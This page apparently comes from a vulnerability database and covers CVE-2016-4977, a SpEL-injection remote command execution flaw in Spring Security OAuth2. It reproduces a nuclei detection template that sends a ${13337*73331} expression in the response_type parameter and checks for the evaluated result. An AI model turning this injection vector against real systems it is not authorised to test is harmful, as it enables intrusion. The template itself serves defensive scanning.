CVE-2016-4977: Spring Security OAuth2 Remote Command Execution

2025-08-01 Spring Security OAuth2 PoC Public

Description

Spring Security OAuth versions 2.0.0 to 2.0.9 and 1.0.0 to 1.0.5 contain a remote command execution vulnerability. When processing authorization requests using the whitelabel views, the response_type parameter value was executed as Spring SpEL which enabled a malicious user to trigger remote command execution via the crafting of the value for response_type.

PoC

id: CVE-2016-4977

info:
  name: Spring Security OAuth2 Remote Command Execution
  author: princechaddha
  severity: high
  description: Spring Security OAuth versions 2.0.0 to 2.0.9 and 1.0.0 to 1.0.5 contain a remote command execution vulnerability. When processing authorization requests using the whitelabel views, the response_type parameter value was executed as Spring SpEL which enabled a malicious user to trigger remote command execution via the crafting of the value for response_type.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, compromising the affected system.
  remediation: Users of 1.0.x should not use whitelabel views for approval and error pages. Users of 2.0.x should either not use whitelabel views for approval and error pages or upgrade to 2.0.10 or later.
  reference:
    - https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/README.md
    - https://tanzu.vmware.com/security/cve-2016-4977
    - https://nvd.nist.gov/vuln/detail/CVE-2016-4977
    - https://pivotal.io/security/cve-2016-4977
    - http://www.openwall.com/lists/oss-security/2019/10/16/1
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2016-4977
    cwe-id: CWE-19
    epss-score: 0.79176
    epss-percentile: 0.99577
    cpe: cpe:2.3:a:pivotal:spring_security_oauth:1.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: pivotal
    product: spring_security_oauth
  tags: cve2016,cve,oauth2,oauth,rce,ssti,vulhub,spring,pivotal,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Unsupported response types: [978015547]"

      - type: status
        status:
          - 400
# digest: 4a0a00473045022100914a382753bb650b1871c0ffb032ee78fdcef1ebaa5613b425d1cb47aa1b25e1022078f818edc7efdf466664f421e58b401f57855b44bfef857551020daf87b36b04:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2016/CVE-2016-4977.yaml

References

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